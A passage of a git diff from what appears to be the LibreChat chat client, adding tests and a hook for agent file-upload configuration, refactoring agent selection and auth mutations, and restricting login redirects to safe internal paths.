+  Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
+};
+
+let mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+
+jest.mock('~/data-provider', () => ({
+  useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }),
+  useGetFileConfig: ({ select }: { select?: (d: unknown) => unknown }) => ({
+    data: select != null ? select(mockFileConfig) : mockFileConfig,
+  }),
+}));
+
+jest.mock('~/hooks', () => ({
+  useAgentFileConfig: jest.requireActual('~/hooks/Agents/useAgentFileConfig').default,
+  useLocalize: () => (key: string) => key,
+  useLazyEffect: () => {},
+}));
+
+const mockUseFileHandlingNoChatContext = jest.fn().mockReturnValue({
+  abortUpload: jest.fn(),
+  handleFileChange: jest.fn(),
+});
+
+jest.mock('~/hooks/Files/useFileHandling', () => ({
+  useFileHandlingNoChatContext: (...args: unknown[]) => mockUseFileHandlingNoChatContext(...args),
+}));
+
+jest.mock('~/components/Chat/Input/Files/FileRow', () => () => null);
+
+jest.mock('@librechat/client', () => ({
+  AttachmentIcon: () => <span />,
+}));
+
+function Wrapper({ provider, children }: { provider?: string; children: React.ReactNode }) {
+  const methods = useForm<AgentForm>({
+    defaultValues: { provider: provider as AgentForm['provider'] },
+  });
+  return <FormProvider {...methods}>{children}</FormProvider>;
+}
+
+describe('Code/Files', () => {
+  it('renders upload UI when file uploads are not disabled', () => {
+    mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+    render(
+      <Wrapper provider="Moonshot">
+        <Files agent_id="agent-1" />
+      </Wrapper>,
+    );
+    expect(screen.getByText('com_assistants_code_interpreter_files')).toBeInTheDocument();
+  });
+
+  it('returns null when file config is disabled for provider', () => {
+    mockFileConfig = mergeFileConfig({
+      endpoints: { Moonshot: { disabled: true }, default: { fileLimit: 10 } },
+    });
+    const { container } = render(
+      <Wrapper provider="Moonshot">
+        <Files agent_id="agent-1" />
+      </Wrapper>,
+    );
+    expect(container.innerHTML).toBe('');
+  });
+
+  it('returns null when agents endpoint config is disabled and no provider config', () => {
+    mockFileConfig = mergeFileConfig({
+      endpoints: { [EModelEndpoint.agents]: { disabled: true }, default: { fileLimit: 10 } },
+    });
+    const { container } = render(
+      <Wrapper>
+        <Files agent_id="agent-1" />
+      </Wrapper>,
+    );
+    expect(container.innerHTML).toBe('');
+  });
+
+  it('passes provider as endpointOverride and resolved type as endpointTypeOverride', () => {
+    mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+    mockUseFileHandlingNoChatContext.mockClear();
+    render(
+      <Wrapper provider="Moonshot">
+        <Files agent_id="agent-1" />
+      </Wrapper>,
+    );
+    const params = mockUseFileHandlingNoChatContext.mock.calls[0][0];
+    expect(params.endpointOverride).toBe('Moonshot');
+    expect(params.endpointTypeOverride).toBe(EModelEndpoint.custom);
+  });
+
+  it('falls back to agents for endpointOverride when no provider', () => {
+    mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+    mockUseFileHandlingNoChatContext.mockClear();
+    render(
+      <Wrapper>
+        <Files agent_id="agent-1" />
+      </Wrapper>,
+    );
+    const params = mockUseFileHandlingNoChatContext.mock.calls[0][0];
+    expect(params.endpointOverride).toBe(EModelEndpoint.agents);
+    expect(params.endpointTypeOverride).toBe(EModelEndpoint.agents);
+  });
+
+  it('falls back to agents for endpointOverride when provider is empty string', () => {
+    mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+    mockUseFileHandlingNoChatContext.mockClear();
+    render(
+      <Wrapper provider="">
+        <Files agent_id="agent-1" />
+      </Wrapper>,
+    );
+    const params = mockUseFileHandlingNoChatContext.mock.calls[0][0];
+    expect(params.endpointOverride).toBe(EModelEndpoint.agents);
+  });
+
+  it('renders when provider has no specific config and agents config is enabled', () => {
+    mockFileConfig = mergeFileConfig({
+      endpoints: {
+        [EModelEndpoint.agents]: { fileLimit: 20 },
+        default: { fileLimit: 10 },
+      },
+    });
+    render(
+      <Wrapper provider="Moonshot">
+        <Files agent_id="agent-1" />
+      </Wrapper>,
+    );
+    expect(screen.getByText('com_assistants_code_interpreter_files')).toBeInTheDocument();
+  });
+});
diff --git a/client/src/components/SidePanel/Agents/__tests__/FileContext.spec.tsx b/client/src/components/SidePanel/Agents/__tests__/FileContext.spec.tsx
new file mode 100644
index 0000000000..f99d71d2b7
--- /dev/null
+++ b/client/src/components/SidePanel/Agents/__tests__/FileContext.spec.tsx
@@ -0,0 +1,151 @@
+import React from 'react';
+import { render, screen } from '@testing-library/react';
+import { useForm, FormProvider } from 'react-hook-form';
+import { EModelEndpoint, mergeFileConfig } from 'librechat-data-provider';
+import type { TEndpointsConfig } from 'librechat-data-provider';
+import type { AgentForm } from '~/common';
+import FileContext from '../FileContext';
+
+const mockEndpointsConfig: TEndpointsConfig = {
+  [EModelEndpoint.agents]: { userProvide: false, order: 1 },
+  Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
+};
+
+let mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+
+jest.mock('~/data-provider', () => ({
+  useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }),
+  useGetFileConfig: ({ select }: { select?: (d: unknown) => unknown }) => ({
+    data: select != null ? select(mockFileConfig) : mockFileConfig,
+  }),
+  useGetStartupConfig: () => ({ data: { sharePointFilePickerEnabled: false } }),
+}));
+
+jest.mock('~/hooks', () => ({
+  useAgentFileConfig: jest.requireActual('~/hooks/Agents/useAgentFileConfig').default,
+  useLocalize: () => (key: string) => key,
+  useLazyEffect: () => {},
+}));
+
+const mockUseFileHandlingNoChatContext = jest.fn().mockReturnValue({
+  handleFileChange: jest.fn(),
+});
+
+jest.mock('~/hooks/Files/useFileHandling', () => ({
+  useFileHandlingNoChatContext: (...args: unknown[]) => mockUseFileHandlingNoChatContext(...args),
+}));
+
+jest.mock('~/hooks/Files/useSharePointFileHandling', () => ({
+  useSharePointFileHandlingNoChatContext: () => ({
+    handleSharePointFiles: jest.fn(),
+    isProcessing: false,
+    downloadProgress: 0,
+  }),
+}));
+
+jest.mock('~/components/SharePoint', () => ({
+  SharePointPickerDialog: () => null,
+}));
+
+jest.mock('~/components/Chat/Input/Files/FileRow', () => () => null);
+
+jest.mock('@ariakit/react', () => ({
+  MenuButton: ({ children, ...props }: { children: React.ReactNode }) => (
+    <button {...props}>{children}</button>
+  ),
+}));
+
+jest.mock('@librechat/client', () => ({
+  HoverCard: ({ children }: { children: React.ReactNode }) => <div>{children}</div>,
+  DropdownPopup: () => null,
+  AttachmentIcon: () => <span />,
+  CircleHelpIcon: () => <span />,
+  SharePointIcon: () => <span />,
+  HoverCardPortal: ({ children }: { children: React.ReactNode }) => <div>{children}</div>,
+  HoverCardContent: ({ children }: { children: React.ReactNode }) => <div>{children}</div>,
+  HoverCardTrigger: ({ children }: { children: React.ReactNode }) => <div>{children}</div>,
+}));
+
+function Wrapper({ provider, children }: { provider?: string; children: React.ReactNode }) {
+  const methods = useForm<AgentForm>({
+    defaultValues: { provider: provider as AgentForm['provider'] },
+  });
+  return <FormProvider {...methods}>{children}</FormProvider>;
+}
+
+describe('FileContext', () => {
+  it('renders upload UI when file uploads are not disabled', () => {
+    mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+    render(
+      <Wrapper provider="Moonshot">
+        <FileContext agent_id="agent-1" />
+      </Wrapper>,
+    );
+    expect(screen.getByText('com_agents_file_context_label')).toBeInTheDocument();
+  });
+
+  it('returns null when file config is disabled', () => {
+    mockFileConfig = mergeFileConfig({
+      endpoints: { Moonshot: { disabled: true }, default: { fileLimit: 10 } },
+    });
+    const { container } = render(
+      <Wrapper provider="Moonshot">
+        <FileContext agent_id="agent-1" />
+      </Wrapper>,
+    );
+    expect(container.innerHTML).toBe('');
+  });
+
+  it('returns null when agents endpoint config is disabled and provider has no specific config', () => {
+    mockFileConfig = mergeFileConfig({
+      endpoints: { [EModelEndpoint.agents]: { disabled: true }, default: { fileLimit: 10 } },
+    });
+    const { container } = render(
+      <Wrapper>
+        <FileContext agent_id="agent-1" />
+      </Wrapper>,
+    );
+    expect(container.innerHTML).toBe('');
+  });
+
+  it('passes provider as endpointOverride and resolved type as endpointTypeOverride', () => {
+    mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+    mockUseFileHandlingNoChatContext.mockClear();
+    render(
+      <Wrapper provider="Moonshot">
+        <FileContext agent_id="agent-1" />
+      </Wrapper>,
+    );
+    const params = mockUseFileHandlingNoChatContext.mock.calls[0][0];
+    expect(params.endpointOverride).toBe('Moonshot');
+    expect(params.endpointTypeOverride).toBe(EModelEndpoint.custom);
+  });
+
+  it('falls back to agents for endpointOverride when no provider', () => {
+    mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+    mockUseFileHandlingNoChatContext.mockClear();
+    render(
+      <Wrapper>
+        <FileContext agent_id="agent-1" />
+      </Wrapper>,
+    );
+    const params = mockUseFileHandlingNoChatContext.mock.calls[0][0];
+    expect(params.endpointOverride).toBe(EModelEndpoint.agents);
+    expect(params.endpointTypeOverride).toBe(EModelEndpoint.agents);
+  });
+
+  it('renders when provider has no specific config and agents config is enabled', () => {
+    mockFileConfig = mergeFileConfig({
+      endpoints: {
+        [EModelEndpoint.agents]: { fileLimit: 20 },
+        default: { fileLimit: 10 },
+      },
+    });
+    render(
+      <Wrapper provider="Moonshot">
+        <FileContext agent_id="agent-1" />
+      </Wrapper>,
+    );
+    expect(screen.getByText('com_agents_file_context_label')).toBeInTheDocument();
+  });
+});
diff --git a/client/src/components/SidePanel/Agents/__tests__/FileSearch.spec.tsx b/client/src/components/SidePanel/Agents/__tests__/FileSearch.spec.tsx
new file mode 100644
index 0000000000..003388f5d8
--- /dev/null
+++ b/client/src/components/SidePanel/Agents/__tests__/FileSearch.spec.tsx
@@ -0,0 +1,147 @@
+import React from 'react';
+import { render, screen } from '@testing-library/react';
+import { useForm, FormProvider } from 'react-hook-form';
+import { EModelEndpoint, mergeFileConfig } from 'librechat-data-provider';
+import type { TEndpointsConfig } from 'librechat-data-provider';
+import type { AgentForm } from '~/common';
+import FileSearch from '../FileSearch';
+
+const mockEndpointsConfig: TEndpointsConfig = {
+  [EModelEndpoint.agents]: { userProvide: false, order: 1 },
+  Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
+};
+
+let mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+
+jest.mock('~/data-provider', () => ({
+  useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }),
+  useGetFileConfig: ({ select }: { select?: (d: unknown) => unknown }) => ({
+    data: select != null ? select(mockFileConfig) : mockFileConfig,
+  }),
+  useGetStartupConfig: () => ({ data: { sharePointFilePickerEnabled: false } }),
+}));
+
+jest.mock('~/hooks', () => ({
+  useAgentFileConfig: jest.requireActual('~/hooks/Agents/useAgentFileConfig').default,
+  useLocalize: () => (key: string) => key,
+  useLazyEffect: () => {},
+}));
+
+const mockUseFileHandlingNoChatContext = jest.fn().mockReturnValue({
+  handleFileChange: jest.fn(),
+});
+
+jest.mock('~/hooks/Files/useFileHandling', () => ({
+  useFileHandlingNoChatContext: (...args: unknown[]) => mockUseFileHandlingNoChatContext(...args),
+}));
+
+jest.mock('~/hooks/Files/useSharePointFileHandling', () => ({
+  useSharePointFileHandlingNoChatContext: () => ({
+    handleSharePointFiles: jest.fn(),
+    isProcessing: false,
+    downloadProgress: 0,
+  }),
+}));
+
+jest.mock('~/components/SharePoint', () => ({
+  SharePointPickerDialog: () => null,
+}));
+
+jest.mock('~/components/Chat/Input/Files/FileRow', () => () => null);
+jest.mock('../FileSearchCheckbox', () => () => null);
+
+jest.mock('@ariakit/react', () => ({
+  MenuButton: ({ children, ...props }: { children: React.ReactNode }) => (
+    <button {...props}>{children}</button>
+  ),
+}));
+
+jest.mock('@librechat/client', () => ({
+  SharePointIcon: () => <span />,
+  AttachmentIcon: () => <span />,
+  DropdownPopup: () => null,
+}));
+
+function Wrapper({ provider, children }: { provider?: string; children: React.ReactNode }) {
+  const methods = useForm<AgentForm>({
+    defaultValues: { provider: provider as AgentForm['provider'] },
+  });
+  return <FormProvider {...methods}>{children}</FormProvider>;
+}
+
+describe('FileSearch', () => {
+  it('renders upload UI when file uploads are not disabled', () => {
+    mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+    render(
+      <Wrapper provider="Moonshot">
+        <FileSearch agent_id="agent-1" />
+      </Wrapper>,
+    );
+    expect(screen.getByText('com_assistants_file_search')).toBeInTheDocument();
+  });
+
+  it('returns null when file config is disabled for provider', () => {
+    mockFileConfig = mergeFileConfig({
+      endpoints: { Moonshot: { disabled: true }, default: { fileLimit: 10 } },
+    });
+    const { container } = render(
+      <Wrapper provider="Moonshot">
+        <FileSearch agent_id="agent-1" />
+      </Wrapper>,
+    );
+    expect(container.innerHTML).toBe('');
+  });
+
+  it('returns null when agents endpoint config is disabled and no provider config', () => {
+    mockFileConfig = mergeFileConfig({
+      endpoints: { [EModelEndpoint.agents]: { disabled: true }, default: { fileLimit: 10 } },
+    });
+    const { container } = render(
+      <Wrapper>
+        <FileSearch agent_id="agent-1" />
+      </Wrapper>,
+    );
+    expect(container.innerHTML).toBe('');
+  });
+
+  it('passes provider as endpointOverride and resolved type as endpointTypeOverride', () => {
+    mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+    mockUseFileHandlingNoChatContext.mockClear();
+    render(
+      <Wrapper provider="Moonshot">
+        <FileSearch agent_id="agent-1" />
+      </Wrapper>,
+    );
+    const params = mockUseFileHandlingNoChatContext.mock.calls[0][0];
+    expect(params.endpointOverride).toBe('Moonshot');
+    expect(params.endpointTypeOverride).toBe(EModelEndpoint.custom);
+  });
+
+  it('falls back to agents for endpointOverride when no provider', () => {
+    mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+    mockUseFileHandlingNoChatContext.mockClear();
+    render(
+      <Wrapper>
+        <FileSearch agent_id="agent-1" />
+      </Wrapper>,
+    );
+    const params = mockUseFileHandlingNoChatContext.mock.calls[0][0];
+    expect(params.endpointOverride).toBe(EModelEndpoint.agents);
+    expect(params.endpointTypeOverride).toBe(EModelEndpoint.agents);
+  });
+
+  it('renders when provider has no specific config and agents config is enabled', () => {
+    mockFileConfig = mergeFileConfig({
+      endpoints: {
+        [EModelEndpoint.agents]: { fileLimit: 20 },
+        default: { fileLimit: 10 },
+      },
+    });
+    render(
+      <Wrapper provider="Moonshot">
+        <FileSearch agent_id="agent-1" />
+      </Wrapper>,
+    );
+    expect(screen.getByText('com_assistants_file_search')).toBeInTheDocument();
+  });
+});
diff --git a/client/src/components/Web/__tests__/SourcesErrorBoundary.test.tsx b/client/src/components/Web/__tests__/SourcesErrorBoundary.test.tsx
index cc668cb61a..2cf509cd2c 100644
--- a/client/src/components/Web/__tests__/SourcesErrorBoundary.test.tsx
+++ b/client/src/components/Web/__tests__/SourcesErrorBoundary.test.tsx
@@ -1,3 +1,6 @@
+/**
+ * @jest-environment @happy-dom/jest-environment
+ */
 import React from 'react';
 import { render, screen, fireEvent } from '@testing-library/react';
 import '@testing-library/jest-dom';
@@ -11,15 +14,6 @@ const ThrowError = ({ shouldThrow }: { shouldThrow: boolean }) => {
   return <div data-testid="normal-component">{'Normal component'}</div>;
 };
 
-// Mock window.location.reload
-const mockReload = jest.fn();
-Object.defineProperty(window, 'location', {
-  value: {
-    reload: mockReload,
-  },
-  writable: true,
-});
-
 describe('SourcesErrorBoundary - NEW COMPONENT test', () => {
   beforeEach(() => {
     jest.clearAllMocks();
@@ -53,6 +47,8 @@ describe('SourcesErrorBoundary - NEW COMPONENT test', () => {
   });
 
   it('should reload page when refresh button is clicked', () => {
+    const reloadSpy = jest.spyOn(window.location, 'reload').mockImplementation(() => {});
+
     render(
       <SourcesErrorBoundary>
         <ThrowError shouldThrow={true} />
@@ -62,6 +58,6 @@ describe('SourcesErrorBoundary - NEW COMPONENT test', () => {
     const refreshButton = screen.getByRole('button', { name: 'Reload the page' });
     fireEvent.click(refreshButton);
 
-    expect(mockReload).toHaveBeenCalled();
+    expect(reloadSpy).toHaveBeenCalled();
   });
 });
diff --git a/client/src/data-provider/Auth/mutations.ts b/client/src/data-provider/Auth/mutations.ts
index 298ddd9b64..9930e42b4f 100644
--- a/client/src/data-provider/Auth/mutations.ts
+++ b/client/src/data-provider/Auth/mutations.ts
@@ -68,14 +68,14 @@ export const useRefreshTokenMutation = (
 
 /* User */
 export const useDeleteUserMutation = (
-  options?: t.MutationOptions<unknown, undefined>,
-): UseMutationResult<unknown, unknown, undefined, unknown> => {
+  options?: t.MutationOptions<unknown, t.TDeleteUserRequest | undefined>,
+): UseMutationResult<unknown, unknown, t.TDeleteUserRequest | undefined, unknown> => {
   const queryClient = useQueryClient();
   const clearStates = useClearStates();
   const resetDefaultPreset = useResetRecoilState(store.defaultPreset);
 
   return useMutation([MutationKeys.deleteUser], {
-    mutationFn: () => dataService.deleteUser(),
+    mutationFn: (payload?: t.TDeleteUserRequest) => dataService.deleteUser(payload),
     ...(options || {}),
     onSuccess: (...args) => {
       resetDefaultPreset();
@@ -90,11 +90,11 @@ export const useDeleteUserMutation = (
 export const useEnableTwoFactorMutation = (): UseMutationResult<
   t.TEnable2FAResponse,
   unknown,
-  void,
+  t.TEnable2FARequest | undefined,
   unknown
 > => {
   const queryClient = useQueryClient();
-  return useMutation(() => dataService.enableTwoFactor(), {
+  return useMutation((payload?: t.TEnable2FARequest) => dataService.enableTwoFactor(payload), {
     onSuccess: (data) => {
       queryClient.setQueryData([QueryKeys.user, '2fa'], data);
     },
@@ -146,15 +146,18 @@ export const useDisableTwoFactorMutation = (): UseMutationResult<
 export const useRegenerateBackupCodesMutation = (): UseMutationResult<
   t.TRegenerateBackupCodesResponse,
   unknown,
-  void,
+  t.TRegenerateBackupCodesRequest | undefined,
   unknown
 > => {
   const queryClient = useQueryClient();
-  return useMutation(() => dataService.regenerateBackupCodes(), {
-    onSuccess: (data) => {
-      queryClient.setQueryData([QueryKeys.user, '2fa', 'backup'], data);
+  return useMutation(
+    (payload?: t.TRegenerateBackupCodesRequest) => dataService.regenerateBackupCodes(payload),
+    {
+      onSuccess: (data) => {
+        queryClient.setQueryData([QueryKeys.user, '2fa', 'backup'], data);
+      },
     },
-  });
+  );
 };
 
 export const useVerifyTwoFactorTempMutation = (
diff --git a/client/src/hooks/Agents/index.ts b/client/src/hooks/Agents/index.ts
index f75d045cc0..a553da24a0 100644
--- a/client/src/hooks/Agents/index.ts
+++ b/client/src/hooks/Agents/index.ts
@@ -5,6 +5,7 @@ export type { ProcessedAgentCategory } from './useAgentCategories';
 export { default as useAgentCapabilities } from './useAgentCapabilities';
 export { default as useGetAgentsConfig } from './useGetAgentsConfig';
 export { default as useAgentDefaultPermissionLevel } from './useAgentDefaultPermissionLevel';
+export { default as useAgentFileConfig } from './useAgentFileConfig';
 export { default as useAgentToolPermissions } from './useAgentToolPermissions';
 export { default as useMCPToolOptions } from './useMCPToolOptions';
 export * from './useApplyModelSpecAgents';
diff --git a/client/src/hooks/Agents/useAgentFileConfig.ts b/client/src/hooks/Agents/useAgentFileConfig.ts
new file mode 100644
index 0000000000..7f98f8d575
--- /dev/null
+++ b/client/src/hooks/Agents/useAgentFileConfig.ts
@@ -0,0 +1,36 @@
+import { useWatch } from 'react-hook-form';
+import {
+  EModelEndpoint,
+  mergeFileConfig,
+  resolveEndpointType,
+  getEndpointFileConfig,
+} from 'librechat-data-provider';
+import type { EndpointFileConfig } from 'librechat-data-provider';
+import type { AgentForm } from '~/common';
+import { useGetFileConfig, useGetEndpointsQuery } from '~/data-provider';
+
+export default function useAgentFileConfig(): {
+  endpointType: EModelEndpoint | string | undefined;
+  providerValue: string | undefined;
+  endpointFileConfig: EndpointFileConfig;
+} {
+  const providerOption = useWatch<AgentForm>({ name: 'provider' });
+  const { data: endpointsConfig } = useGetEndpointsQuery();
+  const { data: fileConfig = null } = useGetFileConfig({
+    select: (data) => mergeFileConfig(data),
+  });
+
+  const providerValue =
+    typeof providerOption === 'string'
+      ? providerOption
+      : (providerOption as { value?: string } | undefined)?.value;
+
+  const endpointType = resolveEndpointType(endpointsConfig, EModelEndpoint.agents, providerValue);
+  const endpointFileConfig = getEndpointFileConfig({
+    fileConfig,
+    endpointType,
+    endpoint: providerValue || EModelEndpoint.agents,
+  });
+
+  return { endpointType, providerValue, endpointFileConfig };
+}
diff --git a/client/src/hooks/Agents/useSelectAgent.ts b/client/src/hooks/Agents/useSelectAgent.ts
index 00c2753d93..30024c8f63 100644
--- a/client/src/hooks/Agents/useSelectAgent.ts
+++ b/client/src/hooks/Agents/useSelectAgent.ts
@@ -1,31 +1,29 @@
-import { useCallback, useState } from 'react';
+import { useCallback } from 'react';
 import { useQueryClient } from '@tanstack/react-query';
 import {
   Constants,
   QueryKeys,
+  dataService,
   EModelEndpoint,
   isAssistantsEndpoint,
 } from 'librechat-data-provider';
 import type { TConversation, TPreset, Agent } from 'librechat-data-provider';
+import useGetConversation from '~/hooks/Conversations/useGetConversation';
 import useDefaultConvo from '~/hooks/Conversations/useDefaultConvo';
 import { useAgentsMapContext } from '~/Providers/AgentsMapContext';
-import { useChatContext } from '~/Providers/ChatContext';
-import { useGetAgentByIdQuery } from '~/data-provider';
+import useNewConvo from '~/hooks/useNewConvo';
 import { logger } from '~/utils';
 
 export default function useSelectAgent() {
   const queryClient = useQueryClient();
-  const getDefaultConversation = useDefaultConvo();
-  const { conversation, newConversation } = useChatContext();
   const agentsMap = useAgentsMapContext();
-  const [selectedAgentId, setSelectedAgentId] = useState<string | null>(
-    conversation?.agent_id ?? null,
-  );
-
-  const agentQuery = useGetAgentByIdQuery(selectedAgentId);
+  const getDefaultConversation = useDefaultConvo();
+  const { newConversation } = useNewConvo();
+  const getConversation = useGetConversation(0);
 
   const updateConversation = useCallback(
-    (agent: Partial<Agent>, template: Partial<TPreset | TConversation>) => {
+    async (agent: Partial<Agent>, template: Partial<TPreset | TConversation>) => {
+      const conversation = await getConversation();
       logger.log('conversation', 'Updating conversation with agent', agent);
       if (isAssistantsEndpoint(conversation?.endpoint)) {
         newConversation({
@@ -44,7 +42,7 @@ export default function useSelectAgent() {
         keepLatestMessage: true,
       });
     },
-    [conversation, getDefaultConversation, newConversation],
+    [getConversation, getDefaultConversation, newConversation],
   );
 
   const onSelect = useCallback(
@@ -54,30 +52,22 @@ export default function useSelectAgent() {
         return;
       }
 
-      setSelectedAgentId(agent.id);
-
       const template: Partial<TPreset | TConversation> = {
         endpoint: EModelEndpoint.agents,
         agent_id: agent.id,
         conversationId: Constants.NEW_CONVO as string,
       };
 
-      updateConversation({ id: agent.id }, template);
+      await updateConversation({ id: agent.id }, template);
 
-      // Fetch full agent data in the background
       try {
-        await queryClient.invalidateQueries(
-          {
-            queryKey: [QueryKeys.agent, agent.id],
-            exact: true,
-            refetchType: 'active',
-          },
-          { throwOnError: true },
+        const fullAgent = await queryClient.fetchQuery([QueryKeys.agent, agent.id], () =>
+          dataService.getAgentById({
+            agent_id: agent.id,
+          }),
         );
-
-        const { data: fullAgent } = await agentQuery.refetch();
         if (fullAgent) {
-          updateConversation(fullAgent, { ...template, agent_id: fullAgent.id });
+          await updateConversation(fullAgent, { ...template, agent_id: fullAgent.id });
         }
       } catch (error) {
         if ((error as { silent: boolean } | undefined)?.silent) {
@@ -85,10 +75,10 @@ export default function useSelectAgent() {
           return;
         }
         console.error('Error fetching full agent data:', error);
-        updateConversation({}, { ...template, agent_id: undefined });
+        await updateConversation({}, { ...template, agent_id: undefined });
       }
     },
-    [agentsMap, updateConversation, queryClient, agentQuery],
+    [agentsMap, updateConversation, queryClient],
   );
 
   return { onSelect };
diff --git a/client/src/hooks/Artifacts/useArtifactProps.ts b/client/src/hooks/Artifacts/useArtifactProps.ts
index 2b898934c4..ce5e30cf5a 100644
--- a/client/src/hooks/Artifacts/useArtifactProps.ts
+++ b/client/src/hooks/Artifacts/useArtifactProps.ts
@@ -1,17 +1,21 @@
-import { useMemo } from 'react';
+import { useContext, useMemo } from 'react';
+import { ThemeContext, isDark } from '@librechat/client';
 import { removeNullishValues } from 'librechat-data-provider';
 import type { Artifact } from '~/common';
 import { getKey, getProps, getTemplate, getArtifactFilename } from '~/utils/artifacts';
-import { getMermaidFiles } from '~/utils/mermaid';
 import { getMarkdownFiles } from '~/utils/markdown';
+import { getMermaidFiles } from '~/utils/mermaid';
 
 export default function useArtifactProps({ artifact }: { artifact: Artifact }) {
+  const { theme } = useContext(ThemeContext);
+  const isDarkMode = isDark(theme);
+
   const [fileKey, files] = useMemo(() => {
     const key = getKey(artifact.type ?? '', artifact.language);
     const type = artifact.type ?? '';
 
     if (key.includes('mermaid')) {
-      return ['diagram.mmd', getMermaidFiles(artifact.content ?? '')];
+      return ['diagram.mmd', getMermaidFiles(artifact.content ?? '', isDarkMode)];
     }
 
     if (type === 'text/markdown' || type === 'text/md' || type === 'text/plain') {
@@ -23,7 +27,7 @@ export default function useArtifactProps({ artifact }: { artifact: Artifact }) {
       [fileKey]: artifact.content,
     });
     return [fileKey, files];
-  }, [artifact.type, artifact.content, artifact.language]);
+  }, [artifact.type, artifact.content, artifact.language, isDarkMode]);
 
   const template = useMemo(
     () => getTemplate(artifact.type ?? '', artifact.language),
diff --git a/client/src/hooks/Artifacts/useAutoScroll.ts b/client/src/hooks/Artifacts/useAutoScroll.ts
deleted file mode 100644
index 1ddb9feb98..0000000000
--- a/client/src/hooks/Artifacts/useAutoScroll.ts
+++ /dev/null
@@ -1,47 +0,0 @@
-// hooks/useAutoScroll.ts
-import { useEffect, useState } from 'react';
-
-interface UseAutoScrollProps {
-  ref: React.RefObject<HTMLElement>;
-  content: string;
-  isSubmitting: boolean;
-}
-
-export const useAutoScroll = ({ ref, content, isSubmitting }: UseAutoScrollProps) => {
-  const [userScrolled, setUserScrolled] = useState(false);
-
-  useEffect(() => {
-    const scrollContainer = ref.current;
-    if (!scrollContainer) {
-      return;
-    }
-
-    const handleScroll = () => {
-      const { scrollTop, scrollHeight, clientHeight } = scrollContainer;
-      const isNearBottom = scrollHeight - scrollTop - clientHeight < 50;
-
-      if (!isNearBottom) {
-        setUserScrolled(true);
-      } else {
-        setUserScrolled(false);
-      }
-    };
-
-    scrollContainer.addEventListener('scroll', handleScroll);
-
-    return () => {
-      scrollContainer.removeEventListener('scroll', handleScroll);
-    };
-  }, [ref]);
-
-  useEffect(() => {
-    const scrollContainer = ref.current;
-    if (!scrollContainer || !isSubmitting || userScrolled) {
-      return;
-    }
-
-    scrollContainer.scrollTop = scrollContainer.scrollHeight;
-  }, [content, isSubmitting, userScrolled, ref]);
-
-  return { userScrolled };
-};
diff --git a/client/src/hooks/AuthContext.tsx b/client/src/hooks/AuthContext.tsx
index d9d583783a..c55980c0d2 100644
--- a/client/src/hooks/AuthContext.tsx
+++ b/client/src/hooks/AuthContext.tsx
@@ -3,7 +3,6 @@ import {
   useMemo,
   useState,
   useEffect,
-  ReactNode,
   useContext,
   useCallback,
   createContext,
@@ -11,8 +10,14 @@ import {
 import { debounce } from 'lodash';
 import { useRecoilState } from 'recoil';
 import { useNavigate } from 'react-router-dom';
-import { setTokenHeader, SystemRoles } from 'librechat-data-provider';
+import {
+  apiBaseUrl,
+  SystemRoles,
+  setTokenHeader,
+  buildLoginRedirectUrl,
+} from 'librechat-data-provider';
 import type * as t from 'librechat-data-provider';
+import type { ReactNode } from 'react';
 import {
   useGetRole,
   useGetUserQuery,
@@ -21,6 +26,7 @@ import {
   useRefreshTokenMutation,
 } from '~/data-provider';
 import { TAuthConfig, TUserContext, TAuthContext, TResError } from '~/common';
+import { SESSION_KEY, isSafeRedirect, getPostLoginRedirect } from '~/utils';
 import useTimeout from './useTimeout';
 import store from '~/store';
 
@@ -33,11 +39,12 @@ const AuthContextProvider = ({
   authConfig?: TAuthConfig;
   children: ReactNode;
 }) => {
+  const isExternalRedirectRef = useRef(false);
   const [user, setUser] = useRecoilState(store.user);
+  const logoutRedirectRef = useRef<string | undefined>(undefined);
   const [token, setToken] = useState<string | undefined>(undefined);
   const [error, setError] = useState<string | undefined>(undefined);
   const [isAuthenticated, setIsAuthenticated] = useState<boolean>(false);
-  const logoutRedirectRef = useRef<string | undefined>(undefined);
 
   const { data: userRole = null } = useGetRole(SystemRoles.USER, {
     enabled: !!(isAuthenticated && (user?.role ?? '')),
@@ -54,24 +61,25 @@ const AuthContextProvider = ({
         const { token, isAuthenticated, user, redirect } = userContext;
         setUser(user);
         setToken(token);
-        //@ts-ignore - ok for token to be undefined initially
         setTokenHeader(token);
         setIsAuthenticated(isAuthenticated);
 
-        // Use a custom redirect if set
-        const finalRedirect = logoutRedirectRef.current || redirect;
-        // Clear the stored redirect
+        const searchParams = new URLSearchParams(window.location.search);
+        const postLoginRedirect = getPostLoginRedirect(searchParams);
+
+        const logoutRedirect = logoutRedirectRef.current;
         logoutRedirectRef.current = undefined;
 
+        const finalRedirect =
+          logoutRedirect ??
+          postLoginRedirect ??
+          (redirect && isSafeRedirect(redirect) ? redirect : null);
+
         if (finalRedirect == null) {
           return;
         }
 
-        if (finalRedirect.startsWith('http://') || finalRedirect.startsWith('https://')) {
-          window.location.href = finalRedirect;
-        } else {
-          navigate(finalRedirect, { replace: true });
-        }
+        navigate(finalRedirect, { replace: true });
       }, 50),
     [navigate, setUser],
   );
@@ -81,7 +89,6 @@ const AuthContextProvider = ({
     onSuccess: (data: t.TLoginResponse) => {
       const { user, token, twoFAPending, tempToken } = data;
       if (twoFAPending) {
-        // Redirect to the two-factor authentication route.
